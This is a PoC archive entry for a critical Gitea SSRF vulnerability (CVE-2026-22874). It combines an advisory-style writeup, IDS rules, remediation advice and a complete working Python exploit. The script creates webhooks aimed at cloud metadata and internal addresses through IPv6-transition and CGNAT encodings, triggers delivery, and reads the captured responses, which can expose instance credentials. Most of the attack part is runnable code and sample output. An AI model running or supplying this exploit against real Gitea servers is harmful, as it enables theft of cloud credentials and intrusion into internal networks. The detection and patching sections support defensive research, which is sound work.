PoC Archive PoC Archive
CVE-2026-22874 / GHSA-2r5c-gw76-rh3w category: web CVSS 9.6 (CRITICAL)
Patched

Gitea Incomplete SSRF Protection in Webhook and Migration Allow-List (CVE-2026-22874)

Published: 2026-11-27 • Researcher: Eliot-Code (GitHub user Eliot-code; the commit is attributed to Devoloper CODE)

Target software Gitea (the default host matcher used by webhook delivery and repository migrations)
Affected versions Up to and including 1.26.2; fixed in 1.26.3 and carried into 1.26.4
Status PoC
Severity Critical · CVSS 9.6
CVSS 9.6/10
Severity
Critical
CVE
CVE-2026-22874 / GHSA-2r5c-gw76-rh3w
Category
web
Affected product
Gitea (the default host matcher used by webhook delivery and repository migrations)
Affected versions
Up to and including 1.26.2; fixed in 1.26.3 and carried into 1.26.4
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-05 (upstream commit by Devoloper CODE, “Actualizar CVE-2026-22874-PoC.py”)
Author / ResearcherEliot-Code (GitHub user Eliot-code; the commit is attributed to Devoloper CODE)
CVE / AdvisoryCVE-2026-22874 / GHSA-2r5c-gw76-rh3w
Categoryweb
SeverityCritical
CVSS Score9.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N, GHSA and NVD)
StatusPoC
TagsSSRF, Gitea, webhook, repository migration, allow-list bypass, cloud metadata, IMDS, IPv6 transition, CWE-918
RelatedN/A

Affected Target

FieldValue
Software / SystemGitea (the default host matcher used by webhook delivery and repository migrations)
Versions AffectedUp to and including 1.26.2; fixed in 1.26.3 and carried into 1.26.4
Language / PlatformGo server application; the archived PoC is Python 3
Authentication RequiredYes — a personal access token for an account that may create repository webhooks or migrations
Network Access RequiredYes — HTTPS to the Gitea API; the outbound requests themselves are made by the Gitea server

Summary

Gitea decides whether an outbound webhook or repository migration destination is allowed by calling Go’s standard IsPrivate check on the resolved IP address. That check only recognises RFC 1918 IPv4 ranges and IPv6 unique-local addresses, so addresses used for cloud metadata, carrier-grade NAT, documentation prefixes and several IPv6 transition mechanisms are treated as safe external destinations. An authenticated user who can configure a repository webhook can therefore point it at an internal or metadata URL and read the captured response back through the webhook delivery history. The SSRF is not blind: Gitea stores the response status, headers and up to 1 MiB of the body, which makes internal service enumeration and cloud credential theft practical where a metadata endpoint is reachable.

Vulnerability Details

Root Cause

The default webhook and migration allow-list is the built-in external matcher in modules/hostmatcher. Its checkIP function accepts an address when Go’s net.IP.IsGlobalUnicast returns true and net.IP.IsPrivate returns false. net.IP.IsPrivate only covers 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 and fc00::/7, so the following ranges pass the check and are contacted: 100.64.0.0/10 (RFC 6598 carrier-grade NAT), 168.63.129.16/32 (Azure WireServer metadata), the non-RFC 1918 part of 172.0.0.0/8, 64:ff9b::/96 (NAT64, which can embed 169.254.169.254), 2001::/32 (Teredo), 2002::/16 (6to4) and 2001:db8::/32. Both the webhook delivery service and the repository migration service call the same matcher with MatchBuiltinExternal when no administrator allow-list is configured, so the gap is shared by both features.

Attack Vector

An authenticated user with permission to manage webhooks on any repository sends POST /api/v1/repos/{owner}/{repo}/hooks with a gitea-type hook whose config.url is an internal address in one of the unblocked ranges, for example http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ (NAT64-encoded 169.254.169.254). A subsequent push, or a file created through the contents API, triggers a delivery. The user then reads the delivery record at /api/v1/repos/{owner}/{repo}/hooks/{id}/deliveries, which contains the response status, headers and body captured by Gitea. The same gap is reachable through the repository migration form by supplying an internal clone URL.

Impact

Server-side requests to internal networks and cloud metadata endpoints, with the response readable by the attacker. On a cloud-hosted instance this can disclose instance identity documents and temporary IAM credentials for the role attached to the instance, allowing lateral movement into the cloud account. It also provides a way to probe internal HTTP services and to reach admin panels bound to loopback or link-local addresses. The CVSS scope-changed vector reflects that the vulnerable component can affect resources beyond the Gitea server itself.

Environment / Lab Setup

Output
OS:          Linux host running Docker (Debian or Ubuntu used upstream)
Target:      Gitea 1.26.2 (Docker image gitea/gitea:1.26.2), optionally with a metadata service emulator
Attacker:    Same or another host with Python 3 and network access to the Gitea API
Tools:       python3, requests, git, curl, Docker

Setup Steps

Shell script
1
2
3
4
docker run -d --name gitea-1262 -p 3000:3000 -p 2222:22 gitea/gitea:1.26.2

python3 -m venv .venv && . .venv/bin/activate
pip install requests

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the token and repository — the account must be able to create hooks on the chosen repository. Any ordinary user who owns a repository qualifies.

  2. Run the exploit against a metadata URL — the default bypass is NAT64-encoded 169.254.169.254; the alternative values cover Azure WireServer, CGNAT, IPv4-mapped IPv6, Teredo and 6to4.

    Shell script
    1
    2
    3
    
    python3 exploit.py --url http://gitea.lab:3000 \
      --token <PAT> --owner lab --repo test \
      --bypass nat64-imds --method api
  3. Trigger a delivery — the script creates the hook, then either pushes a commit to the repository or creates a file through the contents API. The API method avoids needing git credentials.

  4. Read the captured response — the script polls the hook delivery endpoint and prints the status code and response body, which is the proof that Gitea fetched the internal URL.

  5. Confirm the hook — the same delivery is visible in the repository’s webhook history in the Gitea UI, so the request can also be verified by hand.

Exploit Code

See exploit.py in this folder for the complete implementation (upstream file name CVE-2026-22874-PoC, extensionless; renamed for execution clarity).

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
targets = {
    "nat64-imds":  "http://[64:ff9b::a9fe:a9fe]/latest/meta-data/",
    "azure":       "http://168.63.129.16/metadata/instance?api-version=2021-02-01",
    "cgnat":       "http://100.64.0.1/",
    "ipv4-mapped": "http://[::ffff:169.254.169.254]/latest/meta-data/",
    "teredo":      "http://[2001:0000::1]/metadata",
    "6to4":        "http://[2002:a9fe:a9fe::1]/latest/meta-data/",
}

def create_hook(self, target_url):
    payload = {
        "type": "gitea",
        "config": {"url": target_url, "content_type": "json"},
        "events": ["push"],
        "active": True,
    }
    return requests.post(
        f"{self.url}/api/v1/repos/{self.owner}/{self.repo}/hooks",
        json=payload, headers=self.headers, timeout=10,
    )

Expected Output

The upstream repository does not include a captured run, so the following is the output shape produced by the script on a successful bypass against a metadata service (illustrative, not an observed transcript):

Output
[*] CVE-2026-22874 Gitea SSRF Exploit
[*] Target: http://gitea.lab:3000
[*] Bypass: nat64-imds
[*] Method: api
[+] Hook created: 3
[+] Target URL: http://[64:ff9b::a9fe:a9fe]/latest/meta-data/

[*] Triggering webhook via API content creation...
[+] File created via API

[*] Polling deliveries (timeout: 30s)...
[+] 1 delivery(ies) found!

    [Delivery 1] ID: 1
    Status Code: 200
    Response Body:
    ------------------------------------------------------------
    ami-id
    ami-launch-index
    ami-manifest-path
    hostname
    iam/
    instance-id
    local-ipv4
    ------------------------------------------------------------

Detection & Indicators of Compromise

Output
Webhook created with a config.url that is an IP literal or an internal hostname,
especially in 100.64.0.0/10, 168.63.129.16, 172.32.0.0/11, 64:ff9b::/96,
2001::/32, 2002::/16 or 2001:db8::/32
Hook delivery records whose response body contains cloud metadata keys
(ami-id, instance-id, iam/security-credentials, metadata/instance)
Repository migrations whose clone URL resolves to an internal address

Outbound HTTP/HTTPS from the Gitea server to 169.254.169.254, 168.63.129.16,
100.64.0.0/10 or internal RFC 1918 services it has no business reaching
DNS resolution of unusual hostnames by the Gitea process

Gitea process establishing connections to link-local or metadata addresses

SIEM / IDS Rule (example):

Output
alert http $HOME_NET any -> $HOME_NET any (msg:"Gitea webhook delivery to internal/metadata target (CVE-2026-22874)"; flow:to_server,established; content:"/api/v1/repos/"; http_uri; content:"/hooks"; http_uri; classtype:attempted-recon; sid:9022874; rev:1;)

Detection is easier at the destination: alert on any HTTP request arriving at a metadata address or internal admin interface from the Gitea server, since legitimate webhook traffic should never reach those ranges.

Remediation

ActionDetail
PatchUpgrade to Gitea 1.26.3 or later, where the default matcher was expanded to cover the omitted ranges; 1.26.4 includes the follow-up fixes.
WorkaroundDisable webhooks and repository migrations for untrusted users, or set a restrictive ALLOWED_HOST_LIST (for example explicit external hosts only) instead of the built-in external matcher. Block egress from the Gitea host and container to 169.254.169.254, 168.63.129.16, 100.64.0.0/10 and IPv6 transition prefixes at the network layer.
Config HardeningRequire IMDSv2 on AWS and disable the metadata service where it is not needed; run Gitea with a network policy that permits only required egress; audit webhook creation and migration activity; review existing hooks for IP-literal or internal targets.

References

Notes

Review verdict: ingested as a genuine PoC. The repository contains a real, non-malicious SSRF exploit: it drives the Gitea hooks API, builds a webhook pointed at an internal address, triggers delivery through the git or contents API, and reads the captured response from the delivery endpoint. It is not a scanner, version audit, template or placeholder, and it contains no C2, persistence, evasion or credential-stealing functionality. The script requires an account that can create webhooks, so it demonstrates the authenticated variant described in the advisory rather than an unauthenticated attack.

License: the upstream repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the upstream code unchanged apart from a three-line research-use and source header; the upstream README is copied verbatim as upstream-README.md. The upstream file was named CVE-2026-22874-PoC without an extension and has been copied as exploit.py.

Limitations: the escape targets are hardcoded to well-known metadata and internal addresses; there is no arbitrary URL mode, no redirect handling and no gopher or file scheme support. The delivery response printed by the script is truncated to 1500 bytes while Gitea captures up to 1 MiB, so an operator reading the UI may see more than the script prints. The exploit needs a personal access token with hook rights, the target repository must permit the token owner to manage hooks, and the bypass only yields data when the chosen internal address actually answers. The 2001:db8::/32 documentation range is listed in the advisory as unblocked but is not a useful real target and is not used by this script. No exploit was executed while preparing this entry, so Status is PoC rather than Weaponized: the code path is complete but no captured successful run accompanies it upstream, and the hook identifier, repository and token in the commands above are placeholders.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Eliot-code/CVE-2026-22874-PoC (see README.md for attribution/license)
# Exploit Title: Gitea <= 1.26.2 SSRF via webhook allow-list bypass (CVE-2026-22874)
# Date: 05/06/2026
# Exploit Author: Eliot-Code
# Version: <=1.26.2
# Tested on: Debian
# CVE: CVE-2026-22874
# Advisory: GHSA-2r5c-gw76-rh3w

import argparse
import requests
import sys
import time
import subprocess
import tempfile
import os
import base64
from pathlib import Path

class GiteaSSRFExploit:
    def __init__(self, url, token, owner, repo):
        self.url = url.rstrip("/")
        self.token = token
        self.owner = owner
        self.repo = repo
        self.headers = {
            "Authorization": f"token {token}",
            "Content-Type": "application/json"
        }
        self.hook_id = None

    def create_hook(self, target_url):
        payload = {
            "type": "gitea",
            "config": {
                "url": target_url,
                "content_type": "json"
            },
            "events": ["push"],
            "active": True
        }

        try:
            r = requests.post(
                f"{self.url}/api/v1/repos/{self.owner}/{self.repo}/hooks",
                json=payload,
                headers=self.headers,
                timeout=10,
                allow_redirects=False
            )
            
            if r.status_code == 201:
                self.hook_id = r.json().get("id")
                print(f"[+] Hook created: {self.hook_id}")
                print(f"[+] Target URL: {target_url}")
                return True
            else:
                print(f"[-] Failed to create hook: {r.status_code}")
                print(f"[-] {r.text}")
                return False
        except Exception as e:
            print(f"[-] Error creating hook: {e}")
            return False

    def trigger_via_git_push(self):
        print(f"\n[*] Triggering webhook via git push...")
        
        with tempfile.TemporaryDirectory() as tmpdir:
            repo_path = Path(tmpdir) / self.repo
            clone_url = f"{self.url}/{self.owner}/{self.repo}.git"
            
            try:
                print(f"[*] Cloning {clone_url}...")
                result = subprocess.run(
                    ["git", "clone", clone_url, str(repo_path)],
                    capture_output=True,
                    text=True,
                    timeout=30
                )
                
                if result.returncode != 0:
                    print(f"[-] Clone failed: {result.stderr}")
                    return False
                
                subprocess.run(
                    ["git", "config", "user.email", "exploit@test.local"],
                    cwd=repo_path,
                    capture_output=True
                )
                subprocess.run(
                    ["git", "config", "user.name", "Exploit User"],
                    cwd=repo_path,
                    capture_output=True
                )
                
                trigger_file = repo_path / f"cve_2026_22874_{int(time.time())}.txt"
                trigger_file.write_text("SSRF trigger")
                
                subprocess.run(
                    ["git", "add", trigger_file.name],
                    cwd=repo_path,
                    capture_output=True
                )
                
                result = subprocess.run(
                    ["git", "commit", "-m", "CVE-2026-22874 trigger"],
                    cwd=repo_path,
                    capture_output=True,
                    text=True,
                    timeout=10
                )
                
                if result.returncode != 0:
                    print(f"[-] Commit failed: {result.stderr}")
                    return False
                
                print(f"[*] Pushing to trigger webhook...")
                result = subprocess.run(
                    ["git", "push"],
                    cwd=repo_path,
                    capture_output=True,
                    text=True,
                    timeout=30,
                    env={**os.environ, "GIT_TERMINAL_PROMPT": "0"}
                )
                
                if result.returncode != 0:
                    if "403" in result.stderr or "permission" in result.stderr.lower():
                        print(f"[-] Push failed - permission denied")
                    else:
                        print(f"[-] Push failed: {result.stderr}")
                    return False
                
                print(f"[+] Push successful! Webhook should trigger...")
                return True
                
            except subprocess.TimeoutExpired:
                print(f"[-] Git operation timeout")
                return False
            except Exception as e:
                print(f"[-] Error: {e}")
                return False

    def trigger_via_api_content(self):
        print(f"\n[*] Triggering webhook via API content creation...")
        
        filename = f"cve_2026_22874_{int(time.time())}.txt"
        content = base64.b64encode(b"trigger").decode()
        
        try:
            r = requests.post(
                f"{self.url}/api/v1/repos/{self.owner}/{self.repo}/contents/{filename}",
                headers=self.headers,
                json={
                    "content": content,
                    "message": "CVE-2026-22874 trigger"
                },
                timeout=10
            )
            
            if r.status_code in [201, 200]:
                print(f"[+] File created via API")
                return True
            else:
                print(f"[-] API trigger failed: {r.status_code}")
                print(f"[-] Try git push instead: --method git")
                return False
                
        except Exception as e:
            print(f"[-] Error: {e}")
            return False

    def poll_deliveries(self, max_wait=30, interval=2):
        if not self.hook_id:
            print(f"[-] No hook created")
            return False
        
        print(f"\n[*] Polling deliveries (timeout: {max_wait}s)...")
        
        for elapsed in range(0, max_wait, interval):
            try:
                r = requests.get(
                    f"{self.url}/api/v1/repos/{self.owner}/{self.repo}/hooks/{self.hook_id}/deliveries",
                    headers=self.headers,
                    timeout=10
                )
                
                if r.ok:
                    deliveries = r.json()
                    if deliveries:
                        print(f"\n[+] {len(deliveries)} delivery(ies) found!")
                        self._print_deliveries(deliveries)
                        return True
                    
            except Exception as e:
                print(f"[-] Poll error: {e}")
            
            if elapsed < max_wait - interval:
                remaining = max_wait - elapsed - interval
                print(f"    [{elapsed}s] Waiting... ({remaining}s remaining)")
                time.sleep(interval)
        
        print(f"\n[-] No deliveries received within {max_wait}s")
        return False

    def _print_deliveries(self, deliveries):
        for i, delivery in enumerate(deliveries):
            print(f"\n    [Delivery {i+1}] ID: {delivery.get('id')}")
            print(f"    Status Code: {delivery.get('status_code')}")
            
            if 'request_info' in delivery:
                print(f"    Request Headers: {delivery['request_info'].get('headers', {})}")
            
            response = delivery.get('response', '')
            if response:
                print(f"    Response Length: {len(response)} bytes")
                print(f"    Response Body:")
                print(f"    {'-' * 60}")
                print(response[:1500])
                if len(response) > 1500:
                    print(f"    ... ({len(response) - 1500} more bytes)")
                print(f"    {'-' * 60}")
            else:
                print(f"    [No response body]")

    def run(self, bypass_type, method="git", max_wait=30):
        targets = {
            "nat64-imds": "http://[64:ff9b::a9fe:a9fe]/latest/meta-data/",
            "azure": "http://168.63.129.16/metadata/instance?api-version=2021-02-01",
            "cgnat": "http://100.64.0.1/",
            "ipv4-mapped": "http://[::ffff:169.254.169.254]/latest/meta-data/",
            "teredo": "http://[2001:0000::1]/metadata",
            "6to4": "http://[2002:a9fe:a9fe::1]/latest/meta-data/"
        }
        
        if bypass_type not in targets:
            print(f"[-] Unknown bypass type: {bypass_type}")
            return False
        
        target_url = targets[bypass_type]
        
        print(f"[*] CVE-2026-22874 Gitea SSRF Exploit")
        print(f"[*] Target: {self.url}")
        print(f"[*] Bypass: {bypass_type}")
        print(f"[*] Method: {method}")
        
        if not self.create_hook(target_url):
            return False
        
        time.sleep(1)
        
        if method == "git":
            if not self.trigger_via_git_push():
                print(f"\n[*] Git push failed. Trying API method...")
                if not self.trigger_via_api_content():
                    return False
        elif method == "api":
            if not self.trigger_via_api_content():
                return False
        
        time.sleep(2)
        
        return self.poll_deliveries(max_wait)


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-22874 Gitea SSRF PoC")
    
    parser.add_argument("--url", required=True, help="Gitea base URL")
    parser.add_argument("--token", required=True, help="Personal access token")
    parser.add_argument("--owner", required=True, help="Repository owner")
    parser.add_argument("--repo", required=True, help="Repository name")
    parser.add_argument("--bypass", default="nat64-imds",
        choices=["nat64-imds", "azure", "cgnat", "ipv4-mapped", "teredo", "6to4"],
        help="SSRF bypass target")
    parser.add_argument("--method", default="git",
        choices=["git", "api"],
        help="Trigger method: git or api")
    parser.add_argument("--max-wait", type=int, default=30,
        help="Max seconds to wait for delivery")
    
    args = parser.parse_args()
    
    exploit = GiteaSSRFExploit(args.url, args.token, args.owner, args.repo)
    
    success = exploit.run(
        bypass_type=args.bypass,
        method=args.method,
        max_wait=args.max_wait
    )
    
    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()